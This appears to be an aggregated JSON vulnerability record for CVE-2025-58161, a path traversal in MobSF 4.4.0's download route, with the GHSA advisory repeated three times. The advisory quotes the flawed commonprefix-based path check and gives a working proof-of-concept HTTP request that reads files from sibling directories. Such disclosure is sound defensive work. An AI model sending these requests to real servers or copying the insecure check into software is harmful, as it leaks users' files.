{"id":"CVE-2025-58161","aliases":["EUVD-2025-26369","GHSA-ccc3-fvfx-mw3v","PYSEC-2026-1672"],"status":"published","title":"MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames","description":"MobSF is a mobile application security testing tool used. In version 4.4.0, the GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak. This issue has been patched in version 4.4.1.","severity":{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00827,"percentile":0.57763,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2025-09-02T00:45:49Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"PyPI","package":"mobsf","fixed_in":["4.4.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.4.0"},{"fixed":"4.4.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0"]},{"source":"osv","ecosystem":"PyPI","package":"mobsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0"]}],"products":[{"vendor":"mobsf","product":"mobile-security-framework-mobsf"},{"vendor":"opensecurity","product":"mobile_security_framework"}],"references":[{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-ccc3-fvfx-mw3v","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/7f3bc086c028c1b50889cab8a15f7b59b7abdaf9","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/advisories/GHSA-ccc3-fvfx-mw3v","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/58xxx/CVE-2025-58161.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58161","tags":["advisory"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF","tags":["package"]},{"url":"https://pypi.org/project/mobsf","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-58161","title":"MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames","description":"MobSF is a mobile application security testing tool used. In version 4.4.0, the GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak. This issue has been patched in version 4.4.1.","status":"published","published":"2025-09-02T00:45:49.996Z","modified":"2025-09-02T19:25:49.966Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:32:37.351404Z"}],"euvd":[{"id":"EUVD-2025-26369","description":"MobSF is a mobile application security testing tool used. In version 4.4.0, the GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak. This issue has been patched in version 4.4.1.","status":"published","published":"2025-09-02T00:45:49Z","modified":"2025-09-02T19:25:49Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low"}],"updated_at":"2026-11-02T20:31:48.3448Z"}],"ghsa":[{"id":"GHSA-ccc3-fvfx-mw3v","title":"MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames","description":"### Summary\nThe GET /download/\u003cfilename\u003e route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.\n\n### Details\n```\ndef is_safe_path(safe_root, check_path):\n    safe_root  = os.path.realpath(os.path.normpath(safe_root))\n    check_path = os.path.realpath(os.path.normpath(check_path))\n    return os.path.commonprefix([check_path, safe_root]) == safe_root\n```\ncommonprefix compares raw strings, not path components. For:\n```\nsafe_root  = /home/mobsf/.MobSF/downloads\ncheck_path = /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nthe function returns True, incorrectly treating downloads_bak as inside downloads.\nDownload handler:\n```\n# MobSF/views/home.py\n@login_required\ndef download(request):\n    root = settings.DWD_DIR\n    filename = request.path.replace('/download/', '', 1)\n    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'\n    if '../' in filename or not is_safe_path(root, dwd_file):\n        return HttpResponseForbidden(...)\n    ext = dwd_file.suffix\n    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():\n        return file_download(dwd_file, ...)\n```\nIf the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.\n\nWhich file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS\n\n### PoC\nPrereqs: authenticated user; standard install.\nAssume:\n```\nsettings.DWD_DIR = /home/mobsf/.MobSF/downloads\n```\nPrepare a sibling directory with the same string prefix and a test file:\n```\nmkdir -p /home/mobsf/.MobSF/downloads_bak\necho \"test\" \u003e /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nAs an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):\n```\nGET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1\nHost: \u003cHOST\u003e\nCookie: sessionid=\u003cYOUR_SESSION\u003e\n```\nOther working sibling directory names (if present):\n```\n…/downloads.old/...\n…/downloads_backup/...\n…/downloads1/...\n…/downloads-archive/...\n…/downloads 2024/... (URL-encoded space: downloads%202024)\n```\n### Impact\nAny authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.","status":"published","published":"2025-09-02T17:14:06Z","modified":"2025-09-02T17:14:07Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:55.953734Z"}],"nvd":[{"id":"CVE-2025-58161","description":"MobSF is a mobile application security testing tool used. In version 4.4.0, the GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak. This issue has been patched in version 4.4.1.","status":"published","published":"2025-09-02T01:15:30.17Z","modified":"2026-10-19T17:10:00.173Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:11:26.200344Z"}],"osv":[{"id":"CVE-2025-58161","title":"MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames","description":"MobSF is a mobile application security testing tool used. In version 4.4.0, the GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak. This issue has been patched in version 4.4.1.","status":"published","published":"2025-09-02T00:45:49.996Z","modified":"2026-10-28T02:31:00.37587765Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:51.190588Z"},{"id":"GHSA-ccc3-fvfx-mw3v","title":"MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames","description":"### Summary\nThe GET /download/\u003cfilename\u003e route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.\n\n### Details\n```\ndef is_safe_path(safe_root, check_path):\n    safe_root  = os.path.realpath(os.path.normpath(safe_root))\n    check_path = os.path.realpath(os.path.normpath(check_path))\n    return os.path.commonprefix([check_path, safe_root]) == safe_root\n```\ncommonprefix compares raw strings, not path components. For:\n```\nsafe_root  = /home/mobsf/.MobSF/downloads\ncheck_path = /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nthe function returns True, incorrectly treating downloads_bak as inside downloads.\nDownload handler:\n```\n# MobSF/views/home.py\n@login_required\ndef download(request):\n    root = settings.DWD_DIR\n    filename = request.path.replace('/download/', '', 1)\n    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'\n    if '../' in filename or not is_safe_path(root, dwd_file):\n        return HttpResponseForbidden(...)\n    ext = dwd_file.suffix\n    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():\n        return file_download(dwd_file, ...)\n```\nIf the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.\n\nWhich file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS\n\n### PoC\nPrereqs: authenticated user; standard install.\nAssume:\n```\nsettings.DWD_DIR = /home/mobsf/.MobSF/downloads\n```\nPrepare a sibling directory with the same string prefix and a test file:\n```\nmkdir -p /home/mobsf/.MobSF/downloads_bak\necho \"test\" \u003e /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nAs an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):\n```\nGET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1\nHost: \u003cHOST\u003e\nCookie: sessionid=\u003cYOUR_SESSION\u003e\n```\nOther working sibling directory names (if present):\n```\n…/downloads.old/...\n…/downloads_backup/...\n…/downloads1/...\n…/downloads-archive/...\n…/downloads 2024/... (URL-encoded space: downloads%202024)\n```\n### Impact\nAny authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.","status":"published","published":"2025-09-02T17:14:06Z","modified":"2026-07-07T17:57:01.31583162Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"PYSEC-2026-1672","title":"MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames","description":"### Summary\nThe GET /download/\u003cfilename\u003e route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.\n\n### Details\n```\ndef is_safe_path(safe_root, check_path):\n    safe_root  = os.path.realpath(os.path.normpath(safe_root))\n    check_path = os.path.realpath(os.path.normpath(check_path))\n    return os.path.commonprefix([check_path, safe_root]) == safe_root\n```\ncommonprefix compares raw strings, not path components. For:\n```\nsafe_root  = /home/mobsf/.MobSF/downloads\ncheck_path = /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nthe function returns True, incorrectly treating downloads_bak as inside downloads.\nDownload handler:\n```\n# MobSF/views/home.py\n@login_required\ndef download(request):\n    root = settings.DWD_DIR\n    filename = request.path.replace('/download/', '', 1)\n    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'\n    if '../' in filename or not is_safe_path(root, dwd_file):\n        return HttpResponseForbidden(...)\n    ext = dwd_file.suffix\n    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():\n        return file_download(dwd_file, ...)\n```\nIf the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.\n\nWhich file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS\n\n### PoC\nPrereqs: authenticated user; standard install.\nAssume:\n```\nsettings.DWD_DIR = /home/mobsf/.MobSF/downloads\n```\nPrepare a sibling directory with the same string prefix and a test file:\n```\nmkdir -p /home/mobsf/.MobSF/downloads_bak\necho \"test\" \u003e /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nAs an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):\n```\nGET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1\nHost: \u003cHOST\u003e\nCookie: sessionid=\u003cYOUR_SESSION\u003e\n```\nOther working sibling directory names (if present):\n```\n…/downloads.old/...\n…/downloads_backup/...\n…/downloads1/...\n…/downloads-archive/...\n…/downloads 2024/... (URL-encoded space: downloads%202024)\n```\n### Impact\nAny authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.","status":"published","published":"2026-07-07T16:03:03.065548Z","modified":"2026-07-07T17:47:05.862226919Z","cvss":[{"version":"4.0","score":1.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","level":"low"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}